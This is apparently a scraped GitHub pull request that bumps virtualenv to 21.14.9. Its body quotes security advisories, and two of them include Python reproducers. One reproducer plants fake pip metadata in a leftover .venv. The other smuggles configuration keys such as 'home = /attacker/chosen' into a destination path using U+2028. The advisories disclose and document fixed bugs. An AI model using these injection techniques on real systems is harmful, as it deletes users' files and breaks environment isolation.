print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

repro.d/make_project_tree.py


#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

##### a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have
deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final
links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Venv configuration readback can reinterpret path boundaries

CVE-2026-113715 / GHSA-qmx5-4p3x-wvqf

More information

Details

Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Configuration readback by the stdlib venv creator.

Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a
character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

Affected code

The relevant 21.14.8 source is in
venv readback,
configuration parser.

Mechanism

With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with
str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a
command = value without escaping every character that splitlines() recognizes as a line boundary. A destination
containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback.
Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

Reproduction and evidence

The scanner used one destination value with U+2028 between home = /attacker/chosen,
include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the
value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed
on the same value wrote separate injected configuration lines and its interpreter reported
sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra
keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered home can change which standard-library files the interpreter loads if an attacker also controls that
location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required,
either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in
20.0.0b1. PR #3426 rejects line-boundary characters before creation and
rebuilds the final configuration from selected settings.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant S as stdlib venv
    participant V as virtualenv readback
    participant C as Final pyvenv.cfg
    participant P as Environment Python
    A->>S: path contains U+2028 and home = /attacker/chosen
    S->>C: write path inside command value
    V->>C: read with splitlines()
    V->>V: parse suffix as separate keys
    V->>C: rewrite home and include-system-site-packages
    P->>C: read injected keys on startup
    C-->>P: sys._home changes and isolation is disabled

Reproducer files

The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess

work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)

##### the attacker's input: the text of a destination path.

##### U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
##### The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)

def pyvenv_cfg_lines(env):
    # split on "\n" only, as the interpreter does
    return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def sys_home(env):
    # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
    probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()

##### control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

##### attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0:  # refusing such a destination is a valid fix
    print("virtualenv refused the destination")
    print("OK")
    raise SystemExit

##### check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL  python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
    print("    " + ascii(line))
print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
    print("    " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")

Impact

Destination path data can change configuration boundaries and therefore environment settings. The effect depends on
which settings change and how the environment is subsequently used.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved
path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv
options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain
supported.

Fix: PR #3426.

Known mitigation

Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

Severity

CVSS Score: 2.0 / 10 (Low)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the [Gi

[!IMPORTANT]
✂ PR body was truncated to here.

dpebot · 2026-10-26T03:27:04Z

/gcbrun

chore(deps): update dependency virtualenv to v21.14.9 [security]

93986c6

renovate-bot requested a review from a team as a code owner October 26, 2026 03:26

blunderbuss-gcf Bot assigned kgala2 Oct 26, 2026

Navigation Menu

Repository navigation

chore(deps): update dependency virtualenv to v21.14.9 [security] - #1496

chore(deps): update dependency virtualenv to v21.14.9 [security]#1496
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
renovate-bot:renovate/pypi-virtualenv-vulnerability

renovate-bot commented Oct 26, 2026 •

edited

Loading

Uh oh!

dpebot commented Oct 26, 2026

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Conversation

renovate-bot commented Oct 26, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

virtualenv: Deletion recovery can change a symlink target's mode

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Fix scope and remaining exposure

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Builtin creation follows linked environment directories

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Generated files can follow existing destination links

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

Severity

References

virtualenv: Seed replacement does not contain metadata deletion paths

Details

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

renovate-bot commented Oct 26, 2026 •

edited

Loading